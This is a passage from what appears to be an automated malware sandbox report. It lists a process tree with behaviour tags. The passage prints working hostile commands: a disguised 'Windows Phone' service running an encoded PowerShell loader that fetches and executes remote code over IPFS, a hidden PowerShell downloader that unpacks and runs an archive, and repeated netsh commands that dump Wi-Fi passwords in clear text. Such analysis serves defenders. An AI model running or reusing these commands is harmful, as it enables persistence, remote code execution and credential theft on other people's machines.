AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAMgA1ADsAJABpACsAKwApACAAewAgAGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAfQA7AH0AOwAkAHIAZQBzAG8AbAB2AGUAZAA9ACQAbgB1AGwAbAA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAANQA7ACQAaQArACsAKQAgAHsAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAbgBhAG0AZQAgAHIAZQBzAG8AbAB2AGUAIAAtAC0AbgBvAGMAYQBjAGgAZQAgACIALwBpAHAAbgBzAC8AJwArACQAcwB0AGEAdABpAGMAKwAnACIAJwA7ACQAcgA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJAByACkAIAB7ACAAJAByAGUAcwBvAGwAdgBlAGQAPQAoACQAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBUAHIAaQBtACgAKQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQA7ACQAYwBhAHQAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAYwBhAHQAIAAiACcAKwAkAHIAZQBzAG8AbAB2AGUAZAArACcAIgAnADsAJAByAGUAcwB1AGwAdAA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGMAYQB0AEMAbQBkACAAMgA+ACQAbgB1AGwAbAA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAZwBhAHQAZQB3AGEAeQBzAD0AQAAoACAAJwBoAHQAdABwAHMAOgAvAC8AaQBwAGYAcwAuAGkAbwAnADsAJwBoAHQAdABwAHMAOgAvAC8AZAB3AGUAYgAuAGwAaQBuAGsAJwAgACkAOwB3AGgAaQBsAGUAIAAoAFsAcwB0AHIAaQBuAGcAXQAkAHIAZQBzAHUAbAB0ACAALQBuAG8AdABtAGEAdABjAGgAIAAnAHUAcwBfAGMAbwBuAGYAaQBnACcAKQAgAHsAIABmAG8AcgBlAGEAYwBoACAAKAAkAGcAYQB0AGUAdwBhAHkAIABpAG4AIAAkAGcAYQB0AGUAdwBhAHkAcwApACAAewAgAHQAcgB5ACAAewAgACQAdABlAHgAdAA9AFsAcwB0AHIAaQBuAGcAXQAoACAAaQB3AHIAIAAtAFUAcgBpACAAIgAkAGcAYQB0AGUAdwBhAHkALwBpAHAAbgBzAC8AJAB7AHMAdABhAHQAaQBjAH0APwBfAF8AdABzAD0AJAAoAFsARABhAHQAZQBUAGkAbQBlAE8AZgBmAHMAZQB0AF0AOgA6AFUAdABjAE4AbwB3AC4AVABvAFUAbgBpAHgAVABpAG0AZQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAoACkAKQAiACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAgACcAQwBhAGMAaABlAC0AQwBvAG4AdAByAG8AbAAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAJwBQAHIAYQBnAG0AYQAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAfQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACkALgBDAG8AbgB0AGUAbgB0ADsAaQBmACAAKAAkAHQAZQB4AHQAIAAtAG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAcgBlAHMAdQBsAHQAPQAkAHQAZQB4AHQAOwBiAHIAZQBhAGsAOwB9ADsAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ADsAfQA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9ADsAfQA7AH0AOwBpAGUAeAAgACgAJwAkAHUAcwBfAGMAbwBuAGYAaQBnAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACIAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbwBuAGYAaQBnACIALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApAC4AVAByAGkAbQAoACkAKQApADsAJwAgACsAIAAkAHIAZQBzAHUAbAB0ACkA' start= auto DisplayName= 'Windows Phone'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" create "Windows Phone" binPath= "cmd /c start C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABiAGEAcwBlAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABrAHUAYgBvAC0AcwB5AHMAdABlAG0AJwA7ACQAcgBlAHAAbwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABiAGEAcwBlACAAJwByAGUAcABvACcAOwAkAHcAbwByAGsAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAYgBhAHMAZQAgACcAdwBvAHIAawAnADsATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAYgBhAHMAZQAsACQAcgBlAHAAbwAsACQAdwBvAHIAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABlAG4AdgA6AEkAUABGAFMAXwBQAEEAVABIAD0AJAByAGUAcABvADsAJAB1AHIAbAAxAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAcABmAHMALwBrAHUAYgBvAC8AcgBlAGwAZQBhAHMAZQBzAC8AZABvAHcAbgBsAG8AYQBkAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHUAcgBsADIAPQAnAGgAdAB0AHAAcwA6AC8ALwBkAGkAcwB0AC4AaQBwAGYAcwAuAHQAZQBjAGgALwBrAHUAYgBvAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHoAaQBwAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAGQAaQByAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwBlAHgAdAByAGEAYwB0ACcAOwAkAGUAeABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGIAYQBzAGUAIAAnAGkAcABmAHMALgBlAHgAZQAnADsAJABzAHQAYQB0AGkAYwA9ACcAawA1ADEAcQB6AGkANQB1AHEAdQA1AGQAZwB4AHQAOQBzAGQAdwBtAHcAZQBsAGEANABrAGkAdABmAGkAaQAyAGwAbQBuAGEAdQBsAG4AYwA3AGIAeABtAGQAMwB3AHoAZwBnAG4AYQByADMAZwAxAG4AegBzAGoAbQB3ACcAOwAkAHIAdQBuAG4AaQBuAGcAPQAkAGYAYQBsAHMAZQA7ACQAaQBkAEMAbQBkAD0AJwBzAGUAdAAgACIASQBQAEYAUwBfAFAAQQBUAEgAPQAnACsAJAByAGUAcABvACsAJwAiACAAJgAmACAAIgAnACsAJABlAHgAZQArACcAIgAgAC0ALQBhAHAAaQAgAC8AaQBwADQALwAxADIANwAuADAALgAwAC4AMQAvAHQAYwBwAC8ANQAwADAAMQAgAGkAZAAnADsAJABjAG0AZABtAGQAPQAnAC8AYwAgAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAHIAZQBwAG8AIgAgACYAJgAgAGMAZAAgAC8AZAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAawB1AGIAbwAtAHMAeQBzAHQAZQBtACIAIAAmACYAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAGkAcABmAHMALgBlAHgAZQAiACAAZABhAGUAbQBvAG4AIAAtAC0AcgBvAHUAdABpAG4AZwA9AGEAdQB0AG8AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHgAZQApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAHQAcgB5ACAAewAgAGkAdwByACAALQBVAHIAaQAgACQAdQByAGwAMQAgAC0ATwB1AHQARgBpAGwAZQAgACQAegBpAHAAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBlAGEAIABTAHQAbwBwADsAfQAgAGMAYQB0AGMAaAAgAHsAIABpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsADIAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHoAaQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AZQBhACAAUwB0AG8AcAA7AH0AOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGQAaQByACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZABpAHIAIAAtAEYAbwByAGMAZQA7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZABpAHIAIAAnAGsAdQBiAG8AXABpAHAAZgBzAC4AZQB4AGUAJwApACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAGUAeABlACAALQBGAG8AcgBjAGUAOwBpAGYAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgBlAHAAbwAgACcAYwBvAG4AZgBpAGcAJwApACkAKQAgAHsAIAAmACAAJABlAHgAZQAgAGkAbgBpAHQAIAAyAD4AJABuAHUAbABsADsAfQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAMgA1ADsAJABpACsAKwApACAAewAgAGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAfQA7AH0AOwAkAHIAZQBzAG8AbAB2AGUAZAA9ACQAbgB1AGwAbAA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAANQA7ACQAaQArACsAKQAgAHsAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAbgBhAG0AZQAgAHIAZQBzAG8AbAB2AGUAIAAtAC0AbgBvAGMAYQBjAGgAZQAgACIALwBpAHAAbgBzAC8AJwArACQAcwB0AGEAdABpAGMAKwAnACIAJwA7ACQAcgA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJAByACkAIAB7ACAAJAByAGUAcwBvAGwAdgBlAGQAPQAoACQAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBUAHIAaQBtACgAKQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQA7ACQAYwBhAHQAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAYwBhAHQAIAAiACcAKwAkAHIAZQBzAG8AbAB2AGUAZAArACcAIgAnADsAJAByAGUAcwB1AGwAdAA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGMAYQB0AEMAbQBkACAAMgA+ACQAbgB1AGwAbAA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAZwBhAHQAZQB3AGEAeQBzAD0AQAAoACAAJwBoAHQAdABwAHMAOgAvAC8AaQBwAGYAcwAuAGkAbwAnADsAJwBoAHQAdABwAHMAOgAvAC8AZAB3AGUAYgAuAGwAaQBuAGsAJwAgACkAOwB3AGgAaQBsAGUAIAAoAFsAcwB0AHIAaQBuAGcAXQAkAHIAZQBzAHUAbAB0ACAALQBuAG8AdABtAGEAdABjAGgAIAAnAHUAcwBfAGMAbwBuAGYAaQBnACcAKQAgAHsAIABmAG8AcgBlAGEAYwBoACAAKAAkAGcAYQB0AGUAdwBhAHkAIABpAG4AIAAkAGcAYQB0AGUAdwBhAHkAcwApACAAewAgAHQAcgB5ACAAewAgACQAdABlAHgAdAA9AFsAcwB0AHIAaQBuAGcAXQAoACAAaQB3AHIAIAAtAFUAcgBpACAAIgAkAGcAYQB0AGUAdwBhAHkALwBpAHAAbgBzAC8AJAB7AHMAdABhAHQAaQBjAH0APwBfAF8AdABzAD0AJAAoAFsARABhAHQAZQBUAGkAbQBlAE8AZgBmAHMAZQB0AF0AOgA6AFUAdABjAE4AbwB3AC4AVABvAFUAbgBpAHgAVABpAG0AZQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAoACkAKQAiACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAgACcAQwBhAGMAaABlAC0AQwBvAG4AdAByAG8AbAAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAJwBQAHIAYQBnAG0AYQAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAfQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACkALgBDAG8AbgB0AGUAbgB0ADsAaQBmACAAKAAkAHQAZQB4AHQAIAAtAG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAcgBlAHMAdQBsAHQAPQAkAHQAZQB4AHQAOwBiAHIAZQBhAGsAOwB9ADsAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ADsAfQA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9ADsAfQA7AH0AOwBpAGUAeAAgACgAJwAkAHUAcwBfAGMAbwBuAGYAaQBnAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACIAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbwBuAGYAaQBnACIALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApAC4AVAByAGkAbQAoACkAKQApADsAJwAgACsAIAAkAHIAZQBzAHUAbAB0ACkA" start= auto DisplayName= "Windows Phone"
      4⤵
      Launches sc.exe
      PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -WindowStyle hidden -NoProfile -ExecutionPolicy Bypass -Command "$archive='................................................................................................................................................................................................................................................................';$archive=$archive.TrimEnd('.');$separator=$archive.IndexOf(',');if($separator -le 0 -or $separator -ge $archive.Length-1){throw 'perem $archive link pass'};$url=$archive.Substring(0,$separator).Trim();$password=$archive.Substring($separator+1);$baseDir=if($PSScriptRoot){$PSScriptRoot}else{(Get-Location).Path};$dataDir=Join-Path $baseDir 'data_program';if(Test-Path -LiteralPath (Join-Path $dataDir 'start.bat') -PathType Leaf){& (Join-Path $dataDir 'start.bat');exit 0};$zipPath=Join-Path $env:TEMP ('archive_{0}.zip'-f[guid]::NewGuid());try{New-Item -ItemType Directory -Path $dataDir -Force|Out-Null;Invoke-WebRequest -Uri $url -OutFile $zipPath -UseBasicParsing -ErrorAction Stop;& "$env:SystemRoot\System32\tar.exe" -xf $zipPath -C $dataDir --passphrase $password;if($LASTEXITCODE-ne 0){throw \\"archive nto successs tar.exe: $LASTEXITCODE\\"}; Start-Sleep 3;& (Join-Path $dataDir 'start.bat')}finally{Remove-Item $zipPath -Force -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4668
- C:\Users\Admin\AppData\Local\Temp\vmhe8d078.exe
  "C:\Users\Admin\AppData\Local\Temp\vmhe8d078.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\SYSTEM32\netsh.exe
    "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_5430829e11bd44738085bbaf9b78d601"
    3⤵
    PID:5372
- - C:\Windows\SYSTEM32\netsh.exe
    "netsh" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1488
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profiles
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:1312
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="T" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5208
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="T" key=clear
      4⤵
      PID:6072
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="h" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="h" key=clear
      4⤵
      PID:4676
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="e" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="e" key=clear
      4⤵
      PID:3080
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      PID:4040
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="W" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="W" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3856
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="i" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="i" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5596
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="r" key=clear
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="r" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1348
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="e" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="e" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5156
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="l" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="l" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5384
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="e" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:200
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="e" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4192
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="s" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="s" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2520
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="s" key=clear
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="s" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6032
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5968
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="A" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="A" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4572
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="u" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6100
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="u" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5620
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="t" key=clear
    3⤵
    - Executes a command shell one-liner
